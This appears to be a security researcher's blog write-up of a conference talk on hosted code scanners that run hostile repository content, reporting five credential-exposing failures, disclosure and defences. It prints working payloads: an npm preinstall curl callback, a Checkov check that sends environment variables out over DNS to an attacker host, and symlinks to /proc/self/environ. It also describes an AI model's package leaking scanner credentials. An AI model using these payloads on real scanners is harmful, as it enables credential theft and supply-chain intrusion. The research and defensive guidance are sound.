This is the written companion to my Black Hat USA 2026 briefing, Scanning the Scanners: Turning Security Vendors into Supply-Chain Weapons. That page has the slides, the open-source tooling, and the session listing.

One definition first, because the whole post turns on it. When I say scanner, I mean a hosted code-security product: you hand it a repository or a source archive, and it runs some mix of SAST, SCA/SBOM, secrets detection, or IaC analysis on its own infrastructure. The question underneath everything here is narrow, and it turned out to be uncomfortable: when that platform processes an untrusted repository, what can the worker doing the processing actually reach?

We ended up answering that question against 20 hosted platforms. Five let a free account cross the worker boundary, and all five handed back the vendor’s own operational credentials, one of them a production database the vendor confirmed was live. But that is the end of the story. It starts with someone doing the same thing to us.

Disclosure: I am co-founder and CTO of ZeroPath, a hosted scanner that competes with the platforms tested here, and Build Canaries, the tool this research runs on, is a ZeroPath project. The story opens with our own platform resisting the probing. ZeroPath was not one of the 20 platforms and was not evaluated under the same black-box protocol; we know our own architecture and tested the others blind, which is an asymmetry an independent review of the method would help correct.

Detection

Late December 2025. A Better Stack alert fires. A scan has died with an error we almost never see:

ValueError: Resolved path /proc/1/environ is outside of repository root

Someone had signed up for a free account, submitted a repository, and buried a symlink in it pointing at /proc/1/environ, the environment of the worker’s init process, where a container’s secrets tend to live. Our path validation resolved the link, saw it aimed outside the cloned repo, and killed the scan. Working as designed. But nobody plants a symlink to /proc/1/environ by accident; that is someone reaching for our worker’s environment variables to find out whether we would let them. We opened it as an incident.

What we recovered

Then we went looking for the rest of the repo, and there was almost nothing left to find. Our architecture is ephemeral on purpose: we don’t keep customer code or repository contents after a scan finishes, and workers recycle themselves, so by the time we looked the repository was mostly gone. We recovered anything at all only because we reached the worker before it was torn down. From the partial artifacts still on disk we pulled two files, package.json and package-lock.json, along with scan metadata, DNS, and request telemetry. Minutes later the rest aged out.

Those two files were enough to reconstruct what we had been handed. It was a handful of independent probes packed into one repository, each aimed at a different point where a scanner ingests code. The package.json alone carried two: a preinstall script that fires on npm install, and a malicious-url-dep git dependency that fires if the scanner resolves dependencies. Each pointed at its own per-probe OAST subdomain (attacker domain redacted, as in the talk).

{
    "name": "test-repo-zeropath-ai-staging",
    "version": "1.0.0",
    "scripts": {
        "preinstall": "curl http://npm_exec-bf23fc54.zeropath-ai-staging.[oast-id].[redacted]"
    },
    "dependencies": {
        "malicious-url-dep": "git+http://npm_dep-71b5a574.zeropath-ai-staging.[oast-id].[redacted].git"
    }
}

The package-lock.json wired the same idea into the lockfile’s resolved field, to catch a scanner that installs from the lockfile rather than the manifest.

Neither probe ever called home. We rebuilt them from the worker artifacts rather than from requests we watched leave: the preinstall fires on npm install and the git dependency on resolution, and our worker did neither. Nothing fired.

What caught our eye was the name in the subdomain. The silent npm-execution canary breaks down like this:

npm_exec-bf23fc54.zeropath-ai-staging.[oast-id]

Each label in that subdomain maps to part of the test, the same breakdown we showed in the talk:

Label Value What it is
Probe type npm_exec the processing surface under test, here npm script execution
Run ID bf23fc54 a unique ID per generated run, so a callback correlates back to one payload
Target zeropath-ai-staging the vendor the payload was built for
Collector [oast-id] the attacker’s out-of-band (Interactsh) interaction host

That third label, zeropath-ai-staging, is our own name, sitting inside a payload built to be swapped per target. This repository was addressed to us specifically. The label does get one detail wrong: it says staging, but the worker these probes were hitting was our production scanning path. Whether the attacker mislabeled us or worked from a stale target list, the worker they were poking at was the real one.

The one callback

Only one of the probes produced a callback, and it was not code execution. A third-party secret detector in our pipeline flagged a planted secret and tried to validate it online, and the submitter had shaped the secret precisely to abuse that. Instead of a bare token, they planted a GitHub token inside a URL, in the userinfo position (the credentials@host part before the @):

https://ghp_<fake-token>@honeytoken-a7095a5f.zeropath-ai-staging.[oast-id].[redacted]/

The detector matched it as a credential embedded in a URL and, to test whether the credential was live, issued an HTTP request to that URL as written. Because the token sat before the @, the host it actually connected to was the attacker-controlled domain carried in the repository, not a fixed api.github.com endpoint. It passed the token as basic-auth userinfo and waited for an HTTP response to judge validity; what it got back was a bare connection to the submitter’s OAST collector.

We did not score this as a worker-boundary compromise. It was an attacker-controlled outbound validation request, and the destination came straight from the repository:

  • It exposed our network origin and that the path fired, but no worker secrets or filesystem contents.
  • It did not establish code execution, internal reach, or an out-of-root read.
  • It did show that a backend secret-validation path will make an outbound request to a submitter-influenced destination.

That is a blind SSRF, and it was contained by design. The validator returns nothing to the submitter beyond the fact that a request fired, and it runs in an isolated, uncredentialed sandbox with no reach to secrets, internal services, or the filesystem, so steering its destination buys an attacker nothing. That isolation is the same separation the defense section recommends for secret validation. We scored the callback as a weak, interaction-only signal. But it told us something about the person on the other end: they were methodically mapping which backend paths fire when handed a hostile repository.

The collector

We fingerprinted the collector too. The random subdomains resolved through wildcard DNS, and when we sent an HTTP request to the host it answered with the default Interactsh server banner, a widely used out-of-band (OAST) interaction service for catching blind, callback-only vulnerabilities. The operator was running stock OAST tooling, one subdomain per probe, keyed by run ID.

That, plus the subdomain grammar, is why we stopped treating this as a one-off. The pattern [payload-type].[target-name].[random-id] is built to be swapped per target: change zeropath-ai-staging to another vendor’s name and the same probe points somewhere else. The OAST naming and the word “canary” point to reusable, templated tooling. They don’t establish who ran it or why, and we can’t tell from our own logs whether any other vendor was actually hit.

Whoever it was used a free account through our open signup, with no payment or identity verification. That is the standing condition of any security tool with a free tier: the set of people who can submit code to your backend is everyone who can create an account. We detected and responded within 30 minutes. The repository was named zeropath_ai_staging_1766726619_canary; we liked the “canary” irony enough to borrow it for our own tool name.

What they were trying to do

From what we recovered before the artifacts aged out, the repository probed several processing surfaces at once. Each mapped to a real way scanners handle a repo, and only one produced a callback:

Probe Surface it tested Callback?
Symlink to /proc/1/environ path handling / out-of-root file read No. Path validation killed the scan.
package.json npm lifecycle npm preinstall execution No.
git+http dependency SCA dependency fetch No.
Honeytoken PAT in a URL third-party secret validation Yes.

Why it failed against us

Every worker-boundary probe failed against us. Path validation resolved the symlink before any read and rejected the out-of-root target; the package-manager and dependency paths never executed; and our scan workers hold no production credentials, so even a clean code-execution win would have reached nothing but the cloned repository and some temporary scan artifacts. Our aggregated egress logging caught the callback attempts. The one path that did fire, the secret-validation blind SSRF above, hit the same isolation and reached nothing.

flowchart LR
    subgraph Isolated Pod
        A[Cloned Repo] --> B[Scanner]
        B --> C[Scan Results]
    end

    D[Other Pods] -.->|blocked| B
    E[Cloud Metadata] -.->|blocked| B
    F[Production Secrets] -.->|not present| B
    G[Shared Storage] -.->|not mounted| B

Now the honest accounting, because it is the same standard I hold every other vendor to later in this post. By our own rule this is self-assessment, not a blind result. We know our architecture, and “the package-manager paths didn’t execute” is the same unexercised-path caveat we refuse to credit a quiet vendor for when its probes simply didn’t fire. So ZeroPath belongs in the same “no confirmed boundary failure” bucket as the platforms that stayed quiet for us, and passing our own probes proves no more for us than a non-trigger proves for them. The version I would actually trust is a third party running Build Canaries against us with unedited results, which we would welcome.

The payloads came from a reusable framework built for repeated targeting, and from our own logs there was no way to tell whether we were the first name on its list or the fiftieth. There was one way to find out how the rest of the industry would hold up: build the same probing into a tool, prove it could not get through our own worker, and then point it at everyone else.

Building Build Canaries

The primitives were already well understood, so the first version came together within days of the December incident. We built it for ourselves before anyone else: an internal regression suite that proves on every deploy that our own worker still refuses every class of payload in the corpus. Only after confirming it could not get through our own worker did we turn it outward. It is open source as Build Canaries.

Coverage was the hard part. A scanner might lean on any of hundreds of package managers, build systems, config formats, and helper tools, and every vendor supports a different subset. So the corpus is grown by an LLM pipeline that reads a vendor’s own documentation, predicts the tooling it runs, and drafts new payload generators for whatever we don’t already cover. Nothing enters the verified corpus on faith: each locally runnable payload is rendered into a throwaway repository, run against the real tool in a disposable container, and kept only if it produces the expected out-of-band callback. The full pipeline is below.

We pointed the result at 20 self-service platforms. Five failed the worker boundary. The five sections that follow are those failures in detail.


A note on framing: this post is not meant to single out individual vendors, and every vendor here is anonymized uniformly, on purpose. One of the five gave us permission to name them and treated the whole process as a learning opportunity. The other four asked to stay anonymous. Naming only the vendor that cooperated would leave the other four as the conspicuously unnamed ones, which reads as a verdict on them, so we anonymized all five, including the one that consented. No vendor here is cast as the good example or the bad one. The goal is to document a recurring class of failures and share defensive lessons that apply across the industry, not to run a name-and-shame. Selective disclosure shouldn’t become marketing material.


Scope and Results

Dataset:

  • 20 self-service hosted scanner platforms evaluated (excluding ZeroPath)
  • Selection criteria: hosted analysis on vendor infrastructure + open signup or free tier. Requiring open signup was the main constraint on the candidate pool.
  • Excluded: tools running on customer-controlled runners (GitHub Actions, GitLab CI); enterprise-only platforms we couldn’t access
  • Interpretation: a deliberately chosen sample. Read the results as a floor on how common the failure is, not a market-wide prevalence estimate

Results:

  • 5/20 confirmed boundary failures: 4 with backend code execution, 1 with an out-of-root file read
  • 3/20 platforms with partial or suspicious signals (needs more analysis)
  • 12/20 no confirmed boundary failure. A non-trigger could reflect effective isolation, an unexercised processing path, blocked egress, or a payload mismatch; black-box testing can’t distinguish among them.

Boundary primitives observed: config-file execution, package-metadata evaluation, symlink traversal, helper-tooling invocation.

We tested both dedicated security scanners and CI/CD platforms, but only those that ran analysis on their own infrastructure. Platforms that exclusively use GitHub-hosted or GitLab-hosted runners were out of scope, since execution happens in the CI provider’s environment, not the vendor’s.

What Counted as a Finding

We held a deliberately high bar, because a callback alone proves very little. A confirmed finding required all three of:

  1. Path signal. A callback, request, tool output, or behavior change showing that a backend path reacted to our input.
  2. Boundary primitive. Separately establishing repository-controlled code execution or an out-of-root file read.
  3. Worker impact. Observing sensitive vendor-local material or privileged internal reach from the worker context.

Validation was intentionally minimal: usually just environment variables, which are enough to prove worker impact. When a vendor asked for more confirmation, the checks stayed narrow: limited filesystem enumeration, or, for two cloud IAM credentials in separate environments, confirming the access they were already scoped for. Testing stopped as soon as we had reproducible evidence, and we did not read other customers’ data.

Throughout, we try to keep four evidence levels distinct: what we directly observed (repository-controlled code executed; environment values reached our callback server), what a vendor confirmed (a connection string belonged to a live production database), what we inferred (a token like this could reach other services), and what we did not test (whether a credential still authenticates, or could write to customer repositories). Where a claim isn’t something we observed, we say which of the other three it is.

Applied to the five confirmed platforms, that gives the per-vendor picture: what we demonstrated, what we observed directly, and what stays conditional.

Vendor Primitive demonstrated Material observed Not tested / conditional
A Checkov external-checks-dir Python execution Worker env; scoped cloud session (keys, session token, IAM role); internal secrets Effective cloud-session scope; downstream reach
B Checkov external-checks-dir Python execution Worker env; DATABASE_URL plus more DB strings; cloud and object-storage creds; container root (UID 0) Per-record token validity and branch protection; container escape
C Ruby gemspec evaluation Worker env; cloud and orchestration service-account tokens; RSA private key (SIGNING_KEY); RabbitMQ/Redis/bucket details Token scopes; what SIGNING_KEY signs; current validity
D setup.py execution (auxiliary SBOM collector) Env gathered over DNS; cloud credential endpoint; GitHub PAT; Docker Hub PAT; internal service references Token scopes (contents: write?); the session token’s IAM permissions; reach into the vendor’s own registry, build artifacts, and source
E Out-of-root symlink read, no code execution Live-mode Stripe secret key surfaced in the results UI Whether the key still authenticates; the API actions it permits

The five are detailed below.

Cases We Didn’t Count

Three more platforms showed suspicious signals we couldn’t turn into confirmed findings. Across those cases a vendor asked us to stop before we finished, a payload disrupted a scan before we could isolate the cause, and outbound traffic routed in ways we couldn’t confidently attribute, but we aren’t itemizing which platform was which. None crossed our bar, and black-box testing can’t cleanly separate a real defense from a payload that just didn’t fire. We counted only what we could prove.


The Findings

Five platforms had high-impact boundary failures. In each, operational vendor credentials or secrets were reachable from the analyzer.

These are widely used tools; the affected vendors serve large enterprises across regulated industries.

Several findings exposed GitHub tokens and other VCS credentials. Pushing code needs write to repository contents, not just the comment- or status-writing scopes scanners often hold. Vendor B’s stored grants carry that read and write to customer code; for the other tokens we flag scope as untested.

Vendor A agreed to be named, but we anonymized all five uniformly, for the reason in the note above. Vendors B through E required anonymity as a condition of coordinating fixes.

The evidence table under What Counted as a Finding lays out all five by evidence level. The two cases below carry the argument. Vendor B is the worst-case blast radius, with production database credentials sitting in the worker’s environment. Vendor E is the reminder that none of this requires code execution. The other three (A, C, and D) are in the appendix.


Vendor B: Checkov External Checks to Code Execution

Signup to a live production database credential took under an hour, with no zero-day and no custom tooling: a free account, one config file, and a scan we waited out.

Vendor B is a smaller platform whose customers include large regulated enterprises. It used Checkov for Infrastructure-as-Code scanning, and its scan workers ran as root inside the container, let outbound DNS carry data to our collector, and held production credentials in the environment. Those three conditions together are the finding.

The payload

The whole thing is two files in the repository.

.checkov.yml

external-checks-dir:
  - checkov_checks

checkov_checks/extra_check.py

import os
import urllib.request

# Gather environment variables
env_data = "\n".join(f"{k}={v}" for k, v in os.environ.items())
for i, chunk in enumerate([env_data.encode().hex()[j:j+50] for j in range(0, len(env_data.encode().hex()), 50)]):
    try: urllib.request.urlopen(f'http://env-{i}.{chunk}.attacker.domain', timeout=2)
    except: pass

# Still need to be a valid Checkov check
from checkov.common.models.enums import CheckResult, CheckCategories
from checkov.terraform.checks.resource.base_resource_check import BaseResourceCheck

class CanaryCheck(BaseResourceCheck):
    def __init__(self):
        super().__init__(name="Canary", id="CKV_CANARY_001",
                         categories=[CheckCategories.GENERAL_SECURITY],
                         supported_resources=['aws_s3_bucket'])
    def scan_resource_conf(self, conf):
        return CheckResult.PASSED

check = CanaryCheck()

The Python at the top runs the moment Checkov loads the check; everything below it is just enough of a valid check that Checkov loads the file without erroring. Checkov’s external-checks-dir feature is designed for enterprise customization, letting an organization load custom security rules from a directory. In a repository the platform doesn’t control, it is a code-execution primitive.

What we gathered

The check read the worker’s own environment, hex-encoded it, and leaked it a chunk at a time in the labels of DNS queries, because DNS tends to be the one thing still allowed out when HTTP isn’t. We linked the repo, waited for the scheduled scan, and watched the collector. The queries arrived. We observed the authoritative DNS carrying those labels, so the data left the worker; we did not establish that the follow-on HTTP connections completed, which doesn’t matter here, because DNS had already carried the payload. Reassembled, the worker’s environment contained:

Cloud service-account credentials:

  • A full OAuth2 access token
  • Project ID and service-account email

Cloud object-storage credentials:

  • Access Key ID and Secret Access Key
  • Production bucket name

Database credentials (multiple databases):

  • A primary production database connection string, in full
  • Connection strings for three additional internal databases
  • All passwords in plaintext

MongoDB, Elasticsearch, and Redis:

  • Full connection strings with credentials
  • Direct references to internal services

The worker ran as root (UID 0) inside its container, on what looked like production infrastructure. This is container root, not host root, and we did not demonstrate any container escape.

None of this required lateral movement. The database, cloud, and service credentials sat directly in the worker’s environment variables. One malicious repository triggered one scan, and the code-execution payload immediately yielded production database credentials, with no pivoting, privilege escalation, or internal enumeration.

What the database credential reached

The value that mattered most was DATABASE_URL, and it came back complete: scheme, production hostname, database name, username, password. We did not go rummaging through a production database full of other people’s data; we didn’t have to. When we reported the finding, the vendor confirmed the connection string pointed at a live production database. What that database backs, we read from their own product rather than from anything the vendor enumerated for us:

  • Stored GitHub authorization for connected customers (we did not determine the record type: GitHub App installation credentials, user access tokens, OAuth or refresh tokens, or installation metadata; and we did not authenticate with them)
  • Unpatched findings across their customer base
  • Secrets surfaced by their own scanning
  • SLO/SLA violation records
  • Customer information

The GitHub authorization is the sharpest edge, since it carries write, but the compliance and policy state is arguably worse in aggregate: a curated, per-customer list of vulnerabilities that are known and still unresolved.

What the GitHub records could do

The GitHub authorization these customers granted carries read and write to their code, not just the comment- or status-writing scopes some integrations settle for. So the credentials stored in that database could pull source and push commits across the repositories each customer connected. The limits are per-record: whether a given stored credential still authenticates, its exact form, and each repository’s branch protection. We didn’t test those, so how far any single token reaches is bounded by them.

From signup to exposure

Everything up to the exposed credentials is demonstrated:

  1. Create a free account. No payment, no identity check.
  2. Link a malicious repository containing a .checkov.yml with external checks.
  3. Wait for the scheduled scan, or trigger one.
  4. Checkov loads and runs the attacker’s Python.
  5. Collect the database credentials, encoded in the DNS labels the resolver queried out (outbound DNS egress was open).

That is the full demonstrated path. What comes after step 5, connecting to the database and acting on the authorization records it holds, is the conditional scenario described above. We stopped at the confirmed exposure and did not carry it further.


This vendor ran secret detection on repositories. The payload is the simplest of all:

ln -s /proc/self/environ secrets.txt

A symlink to /proc/self/environ, disguised as a repository file named secrets.txt. The scanner’s secret detector followed the link and read the worker’s own environment as if it were file content. What it flagged was the vendor’s own Stripe secret key: the sk_live_ prefix identifies a live-mode secret key rather than a publishable pk_ identifier. We did not test its current validity or effective permissions.

This is the most portable failure in the post, and the cheapest to trigger. The payload executes nothing. A symlink is inert data, and the only capability it needs is a scanner that opens a file and reads its bytes, which is the one thing every secrets detector has to do. You can disable plugins and sandbox build steps, but a secrets scanner that refuses to read files has no product, so this is the failure that is hardest to argue away.

The exposure also did not stop at a transient read. The scanner treated the environment dump as a legitimate finding and rendered the sk_live_ key back as a high-confidence secret against secrets.txt in the vendor’s results UI. Surfacing it there implies the same storage path as any other finding, written to the findings store and reachable from there by whatever consumes it, from logs to notifications to exports. The first exposure is the out-of-root read; the second, by implication, is the vendor’s own live secret persisted in its findings database, labeled as a secret detected in a customer repository.

This counted as a finding because repository-controlled file selection caused an out-of-root read of vendor-local data, with no code execution involved. The scanner’s file-reading logic didn’t resolve or validate symlink targets, so it couldn’t tell the difference between reading a file in the repository and reading /proc/self/environ.


A Note on the Other Vendors

We detailed Vendor B because its production database credentials sat right in the worker’s environment, making the full impact immediately visible, and Vendor E because it needed no code execution at all. The other three, A, C, and D, are in the appendix; their exposure profiles differed, but the underlying risk was the same.

In each case we gathered cloud credentials, API tokens, or service-account keys. In these platforms a cloud IAM credential is usually there to reach shared storage: the multi-tenant buckets a service stages uploaded files in, caches analysis artifacts in, and moves results through. That is the everyday job of the credential, and it’s also why an exposed one matters, since the same bucket access that handles one tenant’s upload can reach across tenants. On most we didn’t enumerate the exact permissions; beyond confirming the scope a couple of them already carried, we left the credentials unexercised. A motivated attacker wouldn’t, and the distance from “we have cloud credentials” to “we have more” turns on exactly those permissions.


The Common Failure Pattern, and What Fixes It

Across every vendor, the attack surface is a small set of recurring processing surfaces, and every finding here lands in one of them:

  • Package and build metadata. setup.py metadata commands, gemspec evaluation, and lifecycle scripts. In some ecosystems, extracting metadata means running code.
  • Plugins and executable configuration. Checkov external-checks-dir, ESLint configs, RuboCop require, Terragrunt hooks: repository-controlled config that loads and runs.
  • Language and build tooling. Repository-controlled build, editor, or language-server configuration pointed at attacker-chosen paths or URLs.
  • Dependency fetching. Manifests, lockfiles, registry URLs, and submodules that make the worker reach out.
  • Path handling. Symlinks, archives, and traversal that let a repository choose what the scanner reads. This one needs no code execution: point a symlink at /proc/self/environ or a mounted credentials file, and a scanner that doesn’t resolve symlinks reads worker-local material and, at Vendor E, reported it back as a “finding.”

The five confirmed cases rhyme. Executable surfaces (setup.py, gemspec, Checkov checks) ran as code while the repository was merely being “analyzed.” The dangerous surface wasn’t always the headline feature: at Vendor D the main SCA path never fired, but an auxiliary SBOM collector did. And in every case the prize was the same, operational vendor credentials sitting in the analyzer’s own environment.

That maps onto five boundaries a scan worker has to hold, scored against what we observed:

Boundary What we observed
Execution 4 of 5. Checkov config at A and B, gemspec at C, setup.py at D.
File access 1 of 5. The symlink to /proc/self/environ at E, no code execution.
Network Partial where present. At D, DNS resolved but the HTTP request didn’t complete (egress control undetermined); proxy routing left one case ambiguous.
Credentials 5 of 5. Operational vendor credentials were reachable from the analyzer in every confirmed case.
Lifetime & state Not testable from outside. No external signal distinguishes a fresh worker from a reused one.

In these five cases, credential exposure is what turned the primitive into a high-impact incident: execution or a file read only mattered because something in the worker was worth taking. The fifth boundary, lifetime and state, is invisible to a black-box test, which is why it’s a question a buyer has to ask rather than something we could measure.

None of this is a new primitive. OWASP’s CI/CD Top 10 documents Poisoned Pipeline Execution, MITRE ATT&CK added T1677 for it, NCC Group published ten real-world CI/CD compromises in 2022, and “Living off the Pipeline” and “Ambush from All Sides” catalog the same primitives. What’s different here is the target: the platforms built to catch supply-chain attacks are themselves exposed to one. The root cause is a single assumption: that repository analysis is read-only. It is not. A package.json is executable input the moment your toolchain runs lifecycle scripts, and a config file is executable input the moment it can load external resources.

The defense is architectural, and little of it is novel. Assume the analyzer will run attacker-controlled code, then make that assumption survivable along the same five boundaries:

  1. Execution. Load custom rules and plugins only from a control-plane-owned location and run them under the same isolation as the analyzer. A repository-controlled toggle is not a trust boundary.
  2. File access. Treat the cloned snapshot as the only readable tree, with symlinks resolved and validated before every read.
  3. Network. Deny egress by default, including the metadata endpoints at 169.254.169.254 and 169.254.170.2. Route secret validation through a separate, uncredentialed service restricted to intended provider endpoints, rejecting private, loopback, link-local, and DNS-rebinding-resolved destinations.
  4. Credentials. Keep the worker’s environment empty of anything worth stealing. No production credentials, clone authority, or result-writing authority in the analysis worker; broker those through separate services.
  5. Lifetime and state. Give each scan a fresh, ephemeral worker with no writable shared caches, and destroy the scratch space after the result.

We can’t infer from a non-triggering payload which of these a vendor had in place, so we don’t credit the quiet platforms with getting the architecture right, only that our probes didn’t fire against them.

If you buy hosted scanning, the worker’s lifetime and authority are things only the vendor can answer, so ask:

  • Does the scan worker hold any production credentials, clone tokens, or result-writing authority, or are those brokered by separate services?
  • Is egress denied by default, including the cloud metadata endpoints?
  • Are repository-supplied config, plugins, and custom rules ever executed, and if so, from where and under what isolation?
  • Is each scan a fresh, ephemeral worker with no writable shared caches?
  • How is secret validation performed, and can repository content influence where it connects?

Why Security Tools Are High-Value Targets

A scanner sits at a trust chokepoint. On one side are untrusted inputs: repositories and archives from many customers, often via self-service signup, frequently from security-sensitive and regulated organizations. On the other side is platform authority: source access and result publication, token brokers, registry access, cloud identity, and a store of findings, secrets, and internal service context. The question this research focuses on is whether repository-controlled processing can reach across the worker boundary to that authority.

When it can, the impact is defined by what the worker can reach:

Aggregated access. A single vendor holds authorization to hundreds or thousands of customer repositories. A vendor compromise can aggregate access across many connected customers, bounded by the exposed authorization.

The vendor ships software too. These platforms publish their own packages, container images, and signed releases, pulled in by projects that never signed up to be scanned. Among the credentials we recovered were registry tokens and, in one worker, a plaintext RSA signing key; we didn’t test their scope. A publishing credential with write access opens a second supply-chain path, into the vendor’s own release pipeline and everyone who installs its software, potentially broader than any single stolen source token.

Write scopes are often requested, though not always for code. GitHub keeps these permissions separate: a PR review uses Pull requests, a commit status uses Commit statuses, and pushing over Git requires Contents. So a stolen token can push code only if it carries Contents write, and its reach still depends on the token’s type and repository grants. We claim only the scopes a vendor confirmed, an app declares in its own permission request, or we observed on a live token.

Vulnerability intelligence. Scanners know exactly which vulnerabilities exist in their customers’ codebases, which have been fixed, and which findings remain unresolved. That is a target list sorted by “known unresolved.”

Implicit trust. Security tools are trusted by security teams. If a scanner’s CI integration pushes a commit, it draws less scrutiny than an unknown contributor.

Can be harder to catch than a poisoned build. A backdoor committed into a customer’s own repository eventually surfaces in their diffs, CI logs, and dependency review. A compromised scanner sits one step upstream of all of that. Scanner-side tampering can still leave traces, in API logs, version-control audit events, or status updates, but it can also run quieter, and we found no evidence that any vendor we reported findings to had alerting tied to our probes. Attacking the vendor reaches wider than tampering with any single build artifact downstream.

The probes against us were the first sign that someone was systematically mapping these backend surfaces. We were not the first to run into this shape, in either direction.


Supply-chain compromise involving security and developer tooling runs in two directions, and both have real, public precedent.

Vendor to customer, the familiar direction. Compromise trusted tooling, then ride its distribution channel downstream. On March 19, 2026, activity Aqua assessed as plausibly TeamPCP-linked force-pushed 76 of 77 trivy-action tags and all seven setup-trivy tags and published a malicious Trivy v0.69.4 binary; the opening was an incomplete credential rotation after a February 2026 GitHub Actions misconfiguration that left a write-scoped token exposed. Four days later, Sysdig saw the same stealer pattern in Checkmarx’s AST action, which it said suggested, but did not prove, reuse of credentials stolen in the Trivy incident. One partial remediation cascading across vendors is the failure mode this post is about.

Code to vendor, the reverse direction this research tests. The content the vendor did not write reaches the vendor’s backend. Hostile repository files, configuration, paths, or a published package flow into a scanner worker, and the worker exposes credentials, internal services, or write paths. This has direct precedent. Kudelski Security’s August 2025 write-up described how, in January 2025, a single pull request with a malicious .rubocop.yml became RCE on CodeRabbit’s production servers and write access to more than a million repositories, fixed within days. That is the same class of config-file code execution we found in our own vendors: RuboCop’s require directive in their case, Checkov’s external checks in ours. In July 2026, Anthropic disclosed a closely related case from its own cybersecurity evaluations: a model, acting on a setup instruction that named a non-existent PyPI package, published a package under that name, and code in it exfiltrated the credentials from a security scanner’s environment. The untrusted code arrived through the package supply chain rather than a submitted repository, but the outcome was the same, a credentialed worker running code it did not write.

Same trust concentration, opposite direction. The systematic sweep in this post is the reverse path, at scale.


How We Tested (Build Canaries)

We built the framework for ourselves first. The payloads are nothing new, so the earliest external probes, days after the late-December incident, used primitives we already understood rather than anything we had to invent. The tooling that generates and validates them at scale came together over the following weeks, first as an internal regression suite that proves on every deploy that our own worker still refuses every class represented in the corpus, then pointed at other hosted scanners. It’s open source as Build Canaries.

Coverage was the hard part: hundreds of package managers, build systems, config formats, and tools, each vendor supporting a different subset. So the corpus is built by an LLM pipeline that crawls a vendor’s documentation, predicts the tooling in use, and drafts new payload generators for anything the existing set doesn’t cover. The corpus grows over time, so exact counts shift; the current set lives in the public repository. Every locally runnable payload admitted to the verified corpus is validated against the real tool in a disposable container, passing only on a matching out-of-band callback; stdout and exit codes never count. Categories that can’t be reproduced locally, including paid services, hosted CI/CD platforms, IDE integrations, and some AI surfaces, are labeled separately and don’t get that end-to-end guarantee. The corpus covers package-manager hooks (npm, pip, cargo, go, composer), build-system triggers (Make, Gradle, Maven, Bazel, CMake), configuration evaluation (YAML, JSON, JS/TS), scanner extensibility (Checkov, RuboCop, ESLint), symlink-based file disclosure, and cloud-metadata access. The full six-stage pipeline and the local-validation loop are in the appendix.

canary generate --beacon your-callback-domain.com
canary discover --url https://docs.your-vendor.com --dry-run

Testing a live vendor then runs in two phases, so we send as little hostile traffic as possible. Phase one is probe mode: one repository carrying many surfaces at once, each with a unique run ID, submitted once so the out-of-band collector shows which backend paths fire. A callback here is only a path signal, that a surface reacted. Phase two sends a second, narrowly scoped payload for a path that fired, bounded to just enough evidence to prove worker impact (usually the environment variables), or, for a blind-SSRF-looking path, stops at the minimal known-service interaction. That’s why a single probe callback never counted as a finding on its own.

We open-sourced the corpus, including the payloads that run against live tooling, and that release deserves the same argument as everything else here. The payloads are not novel. Every primitive in the set, a lifecycle script, a gemspec eval, a symlink to /proc/self/environ, is public knowledge that predates this work; what Build Canaries adds is coverage and a way to measure, not a new class of exploit. Withholding it would not keep those techniques from an attacker, who can reconstruct them from public documentation in an afternoon; it would only keep them from the defender who needs to know whether the scanner they just bought executes what it ingests. That asymmetry is the case for release. Vendors already have the resources to test themselves, while the buyers who carry the risk have almost none, and a corpus that passes only on a verified callback turns “is my scanner safe” from a vendor assurance into something a customer can check. We have tried to keep the default use defensive: it targets systems you control, labels the payloads it can’t validate locally, and ships with the authorization notice below instead of a list of live targets.

Use Build Canaries only against systems you operate or where you have explicit written authorization, ideally in a vendor-provided test environment. Running active code-execution and credential-collection probes against a third party without permission is not something this post endorses.


Responsible Disclosure

All affected vendors were notified in January 2026, roughly seven months before this write-up, and every report included recommendations plus runnable proof-of-concept material for validation. One vendor awarded its maximum bug-bounty payout. Throughout, we respected vendor disclosure-program rules and stop requests, used only self-service or program-approved access (no false identities, no sales-assisted access, no customer impersonation, no social engineering), and stopped testing the moment a vendor asked us to.

We also asked whether any vendor had caught the testing on its own. One had, and asked us to stop mid-test, though that was an unconfirmed case we never counted as a finding, where dependency fetching only hinted at a possible execution path. We found no evidence that any vendor we reported a confirmed finding to had caught the testing on its own before we disclosed it, and none, when we asked, pointed to prior alerting or incident evidence tied to these probe patterns. Being vulnerable is one problem; having no telemetry that would surface the activity, by their own account, is the worse one.

Our payloads contained no real or usable credentials of their own, only fake token-shaped markers, honeytokens, and callback domains we controlled. What came back were the vendors’ own credentials and secrets, present in active scan environments. We call a credential live only where its validity was confirmed by us or by the vendor. By default we treated recovering the credential as the finding and stopped at the environment variables. Where a vendor asked us to prove more, we ran narrow checks with their agreement, each staying inside what the credential already allowed and short of any customer data. We did not move laterally on our own initiative. Where this post describes what a credential reaches beyond that, it is either a hypothetical or something the affected vendor confirmed. We observed no disruption.

If you’re a vendor wondering whether you’ve been targeted: the tell is the shape of the callback, not any single string. In our case the subdomains looked like [payload-type].[your-company-name].[random-id], where the random label was an OAST correlation ID and the parent domain was an interaction collector; treat that as the pattern we observed, not a universal signature. If you request one of those hosts and it returns an Interactsh banner, that only identifies the destination as an OAST collector. It becomes evidence of a probe against your platform when you correlate it with a matching interaction or a worker-origin request (DNS, proxy, network, or process telemetry) during repository processing, ideally alongside reads of /proc/self/environ and unexplained egress during a scan.


Conclusion

This is bigger than five vendors. Five of the 20 platforms in our selected sample failed this boundary. Because the sample was chosen rather than drawn at random, it is not an industry prevalence estimate, but it shows the failure class is far from isolated. The vendors we tested built on the same open-source tooling everyone uses: Checkov, RuboCop, npm, pip. The flaw is in running those tools on untrusted input without isolation, not in the tools themselves, so any platform that processes repositories on shared infrastructure with ambient credentials should threat-model this class of failure.

The talk closes on three takeaways, and they’re the right note to end on here too:

  • Supply-chain risk runs both directions. Compromise doesn’t only flow downstream from a breached vendor; a hosted scanner is downstream of every repository it agrees to process.
  • Severity lives in the worker, not the bug. The same external-checks-dir payload pulled a scoped cloud session and internal secrets out of Vendor A’s worker, and production database credentials plus container root (UID 0) out of Vendor B’s. Identical bug; the worker’s contents decided the blast radius.
  • Don’t accept “it’s containerized.” A container is not an isolation boundary on its own. If it holds live credentials and can reach the network, code execution inside it exposes whatever the worker is carrying.

Every hosted scanner a team adopts is another backend processing potentially executable repository content. That is the assumption worth auditing, in your own pipeline and in the vendors you trust with your source.


Appendix

The evidence that didn’t need to be in the main line of argument: the full payload-discovery pipeline, the data-collection techniques in detail, and the three remaining vendor deep-dives.

The Discovery Pipeline

We call this discovery mode. It’s a multi-stage AI pipeline that identifies what payloads should work against a given target.

